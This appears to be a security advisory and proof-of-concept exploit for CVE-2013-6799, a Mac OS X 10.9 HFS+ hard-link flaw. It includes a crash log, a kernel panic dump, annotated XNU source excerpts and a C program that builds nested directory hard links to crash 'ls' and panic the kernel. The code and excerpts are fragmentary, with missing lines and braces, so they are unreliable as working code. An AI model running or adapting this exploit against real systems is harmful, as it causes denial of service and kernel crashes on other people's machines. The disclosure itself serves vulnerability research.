Apple Mac OSX 10.9 - Hard Link Memory Corruption







MacOSX/XNU HFS Multiple Vulnerabilities
Maksymilian Arciemowicz


On November 8th, I've reported vulnerability in hard links for HFS+

The HFS+ file system does not apply strict privilege rules during the
creating of hard links. The ability to create hard links to directories is
wrong implemented and such an issue is affecting os versions greater or
equal to 10.5. Officially Apple allows you to create hard links only for
your time machine. <see wiki> Vulnerability CVE-2013-6799 (incomplete fix
for CVE-2010-0105) allow to create hard link to directory and the number of
hard links may be freely high. To create N hard links, you must use a
special algorithm which creates links from the top of the file system tree.
This means that first we create the directory structure and once created we
need to go from up to down by creating hard links. The last time I've
mentioned of the possibility of a kernel crash by performing the 'ls'
command. This situation occurs in conjunction with the 'find' application.

Commands such as 'ls' behave in unexpected ways. Apple are going find this
crash point in code. To create huge hard links structure, use this code

h1XSS:tysiak cx$ uname -a
Darwin 000000000000000.home 13.1.0 Darwin Kernel Version 13.1.0: Thu Jan 16
19:40:37 PST 2014; root:xnu-2422.90.20~2/RELEASE_X86_64 x86_64
h1xss:tysiak cx$ gcc -o l2 l2.c
h1xss:tysiak cx$ ./l2 1000
h1xss:tysiak cx$ cat
while [ 1 ] ; do
ls -laR B > /dev/null

h1xss:tysiak cx$ sh ./
ls: B: No such file or directory
ls: X1: No such file or directory
ls: X8: Bad address
ls: X1: Bad address
ls: X2: Bad address
ls: X8: No such file or directory
./ line 4:  8816 Segmentation fault: 11  ls -laR B > /dev/null
./ line 4:  8818 Segmentation fault: 11  ls -laR B > /dev/null
ls: B: No such file or directory
ls: X1: No such file or directory
ls: X2: No such file or directory
ls: X1: No such file or directory
ls: X2: No such file or directory
Feb  9 21:16:38 h1xss.home ReportCrash[9419]: Saved crash report for
ls[9418] version 230 to

That what we can see here is unexpected behavior of LS command. LS process
is also affected for infinite loop (recursion?).

h1xss:tysiak cx$ ps -fp 8822
  UID   PID  PPID   C STIME   TTY           TIME CMD
  501  8822  8810   0  7:36   ttys002   62:19.65 ls -laR B

or used parallely with (find . > /dev/null) command cause a kernel crash

Mon Mar 31 20:30:41 2014
panic(cpu 0 caller 0xffffff80044dbe2e): Kernel trap at 0xffffff8004768838,
type 13=general protection, registers:
CR0: 0x0000000080010033, CR2: 0xffffff8122877004, CR3: 0x0000000001a5408c,
CR4: 0x00000000001606e0
RAX: 0xffffff802bc148a0, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000008000,
RDX: 0x0000000000000000
RSP: 0xffffff8140d9b990, RBP: 0xffffff8140d9b9a0, RSI: 0x0000000000000018,
RDI: 0xffffff802f23bcd0
R8:  0xffffff8140d9bc1c, R9:  0xffffff802f26e960, R10: 0xffffff8140d9ba2c,
R11: 0x0000000000000f92
R12: 0xffffff801ba1a008, R13: 0xffffff8140d9bb20, R14: 0xffffff802f23bcd0,
R15: 0xffffff802f26e960
RFL: 0x0000000000010282, RIP: 0xffffff8004768838, CS:  0x0000000000000008,
SS:  0x0000000000000010
Fault CR2: 0xffffff8122877004, Error code: 0x0000000000000000, Fault CPU:

Backtrace (CPU 0), Frame : Return Address
0xffffff811eee8c50 : 0xffffff8004422fa9

BSD process name corresponding to current thread: ls

XNU is the computer operating system kernel that Apple Inc. acquired and
developed for use in the Mac OS X operating system and released as free and
open source software as part of the Darwin operating system. We can try to
see HFS implementation code. Let's start static code analysys using tool!

Unchecked Return Value to NULL Pointer Dereference in hfs_vfsops.c


--- hfs_vfsops.c ----------------------------
 * HFS filesystem related variables.
hfs_sysctl(int *name, __unused u_int namelen, user_addr_t oldp, size_t
user_addr_t newp, size_t newlen, vfs_context_t context)
       if ((newlen <= 0) || (newlen > MAXPATHLEN))
            return (EINVAL);

        bufsize = MAX(newlen * 3, MAXPATHLEN);
        MALLOC(filename, char *, newlen, M_TEMP, M_WAITOK);
        if (filename == NULL) { <=====================================
filename CHECK
            error = ENOMEM;
            goto encodinghint_exit;
        MALLOC(unicode_name, u_int16_t *, bufsize, M_TEMP, M_WAITOK);
        if (filename == NULL) { <======================================
double CHECK?
            error = ENOMEM;
            goto encodinghint_exit;

        error = copyin(newp, (caddr_t)filename, newlen);
        if (error == 0) {
            error = utf8_decodestr((u_int8_t *)filename, newlen - 1,
                                   &bytes, bufsize, 0, UTF_DECOMPOSED);
            if (error == 0) {
                hint = hfs_pickencoding(unicode_name, bytes / 2);
                error = sysctl_int(oldp, oldlenp, USER_ADDR_NULL, 0,
(int32_t *)&hint);
--- hfs_vfsops.c----------------------------

Twice checking of 'filename' has no sense. Probably 'unicode_name' should
be checked in second condition.

Possible Buffer Overflow in resource fork (hfs_vnops.c)

Unverified value returned by snprintf() may be bigger as a declared buffer
The snprintf() and vsnprintf() functions will write at most n-1 of the
characters printed into the out-put output
     put string (the n'th character then gets the terminating `\0'); if the
return value is greater than or
     equal to the n argument, the string was too short and some of the
printed characters were discarded.
     The output is always null-terminated.


--- hfs_vnops.c ----------------------------
 * hfs_vgetrsrc acquires a resource fork vnode corresponding to the cnode
that is
 * found in 'vp'.  The rsrc fork vnode is returned with the cnode locked
and iocount
 * on the rsrc vnode.

hfs_vgetrsrc(struct hfsmount *hfsmp, struct vnode *vp, struct vnode **rvpp,
int can_drop_lock, int error_on_unlinked)


 * Supply hfs_getnewvnode with a component name.
cn.cn_pnbuf = NULL;
if (descptr->cd_nameptr) {
            MALLOC_ZONE(cn.cn_pnbuf, caddr_t, MAXPATHLEN, M_NAMEI,
            cn.cn_nameiop = LOOKUP;
            cn.cn_flags = ISLASTCN | HASBUF;
            cn.cn_context = NULL;
            cn.cn_pnlen = MAXPATHLEN;
            cn.cn_nameptr = cn.cn_pnbuf;
            cn.cn_hash = 0;
            cn.cn_consume = 0;
            cn.cn_namelen = snprintf(cn.cn_nameptr, MAXPATHLEN,
                         "%s%s", descptr->cd_nameptr,
        dvp = vnode_getparent(vp);
        error = hfs_getnewvnode(hfsmp, dvp, cn.cn_pnbuf ? &cn : NULL,
                                descptr, GNV_WANTRSRC | GNV_SKIPLOCK,
                                &rsrcfork, &rvp, &newvnode_flags);

--- hfs_vnops.c ----------------------------

Pattern is '%s%s' where sum of length descptr->cd_nameptr and
_PATH_RSRCFORKSPEC may be bigger as a declared buffer size (MAXPATHLEN).
Size of descptr->cd_nameptr is MAXPATHLEN and value _PATH_RSRCFORKSPEC is

  #define _PATH_RSRCFORKSPEC     "/..namedfork/rsrc"

where length is 17 chars. Possible up to 17 chars overflow here?.

Now let's see hfs_getnewvnode function

--- hfs_cnode.c ----------------------------
    struct hfsmount *hfsmp,
    struct vnode *dvp,
    struct componentname *cnp, <======== WATCH THIS
    struct cat_desc *descp,
    int flags,
    struct cat_attr *attrp,
    struct cat_fork *forkp,
    struct vnode **vpp,
    int *out_flags)
                if ((*vpp != NULL) && (cnp)) {
                    /* we could be requesting the rsrc of a hardlink
                    vnode_update_identity (*vpp, dvp, cnp->cn_nameptr,
cnp->cn_namelen, cnp->cn_hash, <== NAMELEN HERE
                            (VNODE_UPDATE_PARENT | VNODE_UPDATE_NAME));
--- hfs_cnode.c ----------------------------

and call to vnode_update_indentity()

--- vfs_cache.c ----------------------------
vnode_update_identity(vnode_t vp, vnode_t dvp, const char *name, int
name_len, uint32_t name_hashval, int flags)
    if ( (flags & VNODE_UPDATE_NAME) ) {
        if (name != vp->v_name) {
            if (name && *name) {
                if (name_len == 0)
                    name_len = strlen(name);
                tname = vfs_addname(name, name_len, name_hashval, 0); <==
        } else
            flags &= ~VNODE_UPDATE_NAME;
const char *
vfs_addname(const char *name, uint32_t len, u_int hashval, u_int flags)
    return (add_name_internal(name, len, hashval, FALSE, flags));  <== CALL

--- vfs_cache.c ----------------------------

And invalid memory reference in add_name_internal()

--- vfs_cache.c ----------------------------
static const char *
add_name_internal(const char *name, uint32_t len, u_int hashval, boolean_t
need_extra_ref, __unused u_int flags)
    struct stringhead *head;
    string_t          *entry;
    uint32_t          chain_len = 0;
    uint32_t      hash_index;
        uint32_t      lock_index;
    char              *ptr;

     * if the length already accounts for the null-byte, then
     * subtract one so later on we don't index past the end
     * of the string.
    if (len > 0 && name[len-1] == '\0') { <===== INVALID MEMORY REFERENCE
    if (hashval == 0) {
        hashval = hash_string(name, len);
--- vfs_cache.c ----------------------------

Unchecked Return Value to NULL Pointer Dereference hfs_catalog.c and not

Please pay attention that a buffer length check (stored in some variable)
should be performed; also return from *alloc() function family should be
verified for possible NULL pointers.
Here are a few FALSE / POSITIVE examples.

--- hfs_catalog.c ----------------------------
 * builddesc - build a cnode descriptor from an HFS+ key
static int
builddesc(const HFSPlusCatalogKey *key, cnid_t cnid, u_int32_t hint,
u_int32_t encoding,
    int isdir, struct cat_desc *descp)
    int result = 0;
    unsigned char * nameptr;
    size_t bufsize;
    size_t utf8len;
    unsigned char tmpbuff[128];

    /* guess a size... 
    bufsize = (3 * key->nodeName.length) + 1;
    if (bufsize >= sizeof(tmpbuff) - 1) { <============================
        MALLOC(nameptr, unsigned char *, bufsize, M_TEMP, M_WAITOK); <=
    } else {
        nameptr = &tmpbuff[0];

    result = utf8_encodestr(key->nodeName.unicode,
            key->nodeName.length * sizeof(UniChar),
            nameptr, (size_t *)&utf8len, <============================

    maxlinks = MIN(entrycnt, (u_int32_t)(uio_resid(uio) /
bufsize = MAXPATHLEN + (maxlinks * sizeof(linkinfo_t)) + sizeof(*iterator);
if (extended) {
bufsize += 2*sizeof(struct direntry);
MALLOC(buffer, void *, bufsize, M_TEMP, M_WAITOK);
bzero(buffer, bufsize);
FREE(nameptr, M_TEMP);
MALLOC(nameptr, unsigned char *, bufsize, M_TEMP, M_WAITOK); <==============

result = utf8_encodestr(key->nodeName.unicode,
                        key->nodeName.length * sizeof(UniChar),
                        nameptr, (size_t *)&utf8len,
                        bufsize, ':', 0);
cnp = (const CatalogName *)&ckp->hfsPlus.nodeName;
bufsize = 1 + utf8_encodelen(cnp->ustr.unicode,
                             cnp->ustr.length * sizeof(UniChar),
                             ':', 0);
MALLOC(new_nameptr, u_int8_t *, bufsize, M_TEMP, M_WAITOK); <========
result = utf8_encodestr(cnp->ustr.unicode,
                        cnp->ustr.length * sizeof(UniChar),
                        new_nameptr, &tmp_namelen, bufsize, ':', 0);

--- hfs_catalog.c ----------------------------

The above examples does not look nice, too. Are you among them is the crux
of the problem applications and kernel crash?
I informed Apple of those possible errors, it has passed more than a month
and I still have not received any comment nor solution.

--- 1. References ---

--- 2. Greetz ---
Kacper George and Michal

--- 3. Credit ---
Maksymilian Arciemowicz

Best regards,


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>
#include <errno.h>
#include <locale.h>


MacOS X 10.9 Hard Link Memory Corruption PoC
Maksymilian Arciemowicz

int mkpath(char *path, mode_t mode, mode_t dir_mode){

struct stat sb;
char *slash;
int done,rv;


slash += strspn(slash,"/");
slash += strcspn(slash,"/");

done = (*slash=='\0');
*slash = '\0';	

rv = mkdir(path, done ? mode : dir_mode);
if(rv < 0){
int sverrno;

sverrno = errno;

return -1;

errno = ENOTDIR;
return -1;
} else if (done){
if((chmod(path,mode)== -1)) {
return -1;


*slash = '/';

return 0;

int main(int argc, char *argv[]){

printf("Use it with (int)arg[1]\n");
return 1;

int wbita=atoi(argv[1]);

char symn1[]="X1\0";
char symn2[]="X2\0";
char symn3[]="X3\0";
char symn4[]="X4\0";
char symn5[]="X5\0";
char symn6[]="X6\0";
char symn7[]="X7\0";
char symn8[]="X8\0";
char buff[]="B\0";
char cd[]="..\0";
char *sym;

FILE *fp;

int level=0;
mode_t mode,dir_mode;


mode = ((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0));
dir_mode = mode | S_IWUSR |S_IXUSR;


while(1) // Phase 0
printf("Phase 0 done\n");
else printf("Next %i\n",level++);


for(int ax=level; ax<wbita; ax++){

printf("Directory created Level: %i\n",ax);

printf("Error. chdir() failed.");


//Let's create hardlinks and cd .. loop

for(int ax=level; ax<wbita; ax++){

printf("Link1(%s,%s)=%i; cd ..\n",sym,symn1,link(sym,symn1));
printf("Link2(%s,%s)=%i; cd ..\n",sym,symn2,link(sym,symn2));
printf("Link3(%s,%s)=%i; cd ..\n",sym,symn3,link(sym,symn3));
printf("Link4(%s,%s)=%i; cd ..\n",sym,symn4,link(sym,symn4));
printf("Link5(%s,%s)=%i; cd ..\n",sym,symn5,link(sym,symn5));
printf("Link6(%s,%s)=%i; cd ..\n",sym,symn6,link(sym,symn6));
printf("Link7(%s,%s)=%i; cd ..\n",sym,symn7,link(sym,symn7));
printf("Link8(%s,%s)=%i; cd ..\n",sym,symn8,link(sym,symn8));

printf("Error. chdir failed!");
return 0;